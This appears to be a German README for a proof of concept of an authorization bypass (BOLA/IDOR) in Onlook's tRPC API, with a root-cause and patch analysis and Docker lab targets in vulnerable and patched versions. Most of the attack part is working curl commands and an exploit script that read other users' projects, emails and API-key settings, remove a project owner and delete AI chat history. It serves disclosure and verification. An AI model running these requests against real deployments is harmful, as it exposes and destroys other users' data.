
Reproduzierbarer BOLA/IDOR-PoC gegen Onlooks tRPC-API (CVE-2026-65013), mit einer 12-Schritte-Exploit-Kette, verwundbaren und gepatchten Docker-Zielen sowie technischer Dokumentation.
Reproduzierbarer PoC für BOLA / IDOR in der tRPC-API von Onlook (CVE-2026-65013).
Jeder authentifizierte Benutzer kann Projekte, Mitglieder und KI-Verlauf
anderer Benutzer lesen, ändern und löschen, indem er einfach deren UUIDs
an die tRPC-Prozeduren übergibt (Versionen <= 0.2.32).
| CVE | CVE-2026-65013 |
| Advisory | GHSA-j6x3-f5cf-2pg4 |
| CWE | CWE-639 (Authorization Bypass Through User-Controlled Key) |
| CVSS 3.1 | 8.8 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Verwundbar | Onlook <= 0.2.32 |
| Patch | Commit 423e2e9 (PR onlook-dev/onlook#3129) |
| Dokument | Inhalt |
|---|---|
docs/CVE-2026-65013.md | Technik der CVE: Root Cause (ausgenommene RLS + falsch verteilter Helper), tatsächlich betroffene Angriffsfläche, Anatomie des Angriffs, zeilenweise Analyse des Fixes 423e2e9, Behebung, CVE-/Advisory-/PR-Referenzen. |
docs/ARQUITECTURA.md | Des PoC: Dateizuordnung, Wire-Format tRPC v10+superjson, Datenmodell, Schema VULN vs FIX, Prozedurtabelle, Zuordnung PoC ↔ echtes Onlook, Erweiterungsanleitung, manuelle Validierung/CI. |
Onlook stellt sein Backend über tRPC bereit, und die Prozeduren erhalten die ID der Ressource direkt vom Client:
project.get({ projectId }) // liest jedes Projekt
member.remove({ projectId, userId }) // wirft jeden heraus
chat.conversation.delete({ conversationId }) // löscht KI-Verlauf
settings.get({ projectId }) // Settings mit API-Keys
Das Problem: die meisten prüften nicht, ob der Aufrufer Mitglied des Projekts war. Die Verbindung zu Postgres (Drizzle) war ein Superuser, der von Row Level Security ausgenommen war, sodass die Kontrolle im tRPC-Code liegen musste ... und dort fehlte sie.
Ein Helper verifyProjectAccess() existierte bereits (angewendet auf eine
Handvoll Prozeduren, z. B. project.update/delete), aber der Rest der
Angriffsfläche vertraute auf die ID des Clients: project.get, member.list,
member.remove, invitation.list, chat.conversation.*, chat.message.*,
branch.*, settings.*, frame.* ...
Die Authentifizierung ist NICHT das Problem (Supabase-JWT funktioniert). Es ist die objektbezogene Autorisierung (BOLA/IDOR): Der Angreifer nutzt seine eigene legitime Sitzung gegen die IDs des Opfers.
lib/authorization.js enthält die fehlenden Helper (verifyProjectAccess,
verifyConversationAccess, verifyMessagesAccess, verifyBranchAccess,
verifyCanvasAccess, verifyMemberRemoval, verifyInvitationAccess) — das
Äquivalent zum Commit 423e2e9.lib/router.js ruft sie nur auf, wenn enforceAuth aktiviert ist; im
verwundbaren Modus werden die Prozeduren ohne die Prüfung ausgeführt (der
eigentliche Bug).Unauthorized or not found (UNAUTHORIZED), damit die Existenz von
Ressourcen nicht enumeriert werden kann:
// chat.conversation.delete — verwundbar (ohne Prüfung) vs gepatcht:
enforce(() => verifyConversationAccess(ctx.db, ctx.user.id, input.conversationId))
project.update bleibt in beiden Modi geschützt als "Kontrast": Es zeigt,
dass der Helper existierte, nur falsch verteilt war.docker compose up -d --build
curl -s http://localhost:3000/health # {"status":"ok","fixed":false} → VERWUNDBAR
curl -s http://localhost:3001/health # {"status":"ok","fixed":true} → GEPATCHT
Docker fährt das Target hoch (verwundbar und gepatcht) plus einen
demo-Dienst. Die Ausnutzung erfolgt von deinem Rechner aus gegen diese Targets.
curl -s http://localhost:3000/demo/ids # IDs des Seeds des Opfers (Alice)
Dies ersetzt den realen Kanal, über den ein Angreifer die UUIDs erhalten würde (geteilter Preview-Link, Referrer aus Logs, Einladungen ...).
TOKEN=$(curl -s -X POST http://localhost:3000/login \
-H 'content-type: application/json' \
-d '{"email":"[email protected]","password":"bob123"}' | node -pe 'JSON.parse(require("fs").readFileSync(0,"utf8")).token')
# 3a. LEER das geheime Projekt von Alice (GET, Format input={"json":...}):
curl -s "http://localhost:3000/api/trpc/project.get?input=%7B%22json%22%3A%7B%22projectId%22%3A%2211111111-1111-4111-8111-111111111111%22%7D%7D" \
-H "Authorization: Bearer $TOKEN"
# → {"result":{"data":{"json":{"id":"1111...","name":"Lanzamiento Q3 (PROYECTO SECRETO)",...}}}}
# 3b. Mitglieder und E-Mails AUFLISTEN (obwohl man dem Projekt fremd ist):
curl -s "http://localhost:3000/api/trpc/member.list?input=%7B%22json%22%3A%7B%22projectId%22%3A%2211111111-1111-4111-8111-111111111111%22%7D%7D" \
-H "Authorization: Bearer $TOKEN"
# 3c. Alice (Owner) aus IHREM eigenen Projekt WERFEN (POST-Mutation):
curl -s -X POST http://localhost:3000/api/trpc/member.remove \
-H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \
-d '{"json":{"projectId":"11111111-1111-4111-8111-111111111111","userId":"aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa"}}'
# → {"result":{"data":{"json":true}}} ← (Alice ist nicht mehr in ihrem Projekt)
# 3d. Den KI-Verlauf von Alice LÖSCHEN:
curl -s -X POST http://localhost:3000/api/trpc/chat.conversation.delete \
-H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \
-d '{"json":{"conversationId":"44444444-4444-4444-8444-444444444444"}}'
node exploit.js)Führt die 12 Prozeduren der Kette aus (Projekt lesen, Projekte von Alice auflisten, E-Mails filtern, den Owner herauswerfen, Einladungen auflisten, KI-Verlauf lesen/löschen, Branches, Settings mit apiKey, Frames):
node exploit.js # gegen :3000 (verwundbar) → Datenlecks
node exploit.js --target http://localhost:3001 --expect blocked # gegen :3001 (gepatcht)
Typische Ausgabe (verwundbar):
💥 project.get → FILTRADO
💥 member.remove → FILTRADO (membership ajeno borrado: true)
💥 chat.conversation.delete → FILTRADO (historial de IA ajeno borrado: true)
...
✅ 12/12 — CVE-2026-65013 CONFIRMADA: bob leyó/borró recursos de alice.
Gegen den gepatchten:
🛡️ project.get → BLOQUEADO (Unauthorized or not found)
...
✅ 12/12 — Servidor PARCHEADO: el mismo ataque fue bloqueado.
Die Ausnutzung verändert die In-Memory-Datenbank des verwundbaren Servers: Um sie erneut auszuführen, starte diese Instanz neu (
docker compose restart server).
| Prozedur | :3000 verwundbar | :3001 gepatcht |
|---|---|---|
project.get (fremdes Projekt) | 200 + Name/Metadaten | 401 Unauthorized or not found |
member.list (fremde E-Mails) | 200 + E-Mails | 401 |
member.remove (Owner herauswerfen) | 200 true | 401 |
chat.conversation.delete | 200 true | 401 |
settings.get (apiKey) | 200 + Settings | 401 |
project.update (Kontrast: war bereits geschützt) | 401 | 401 |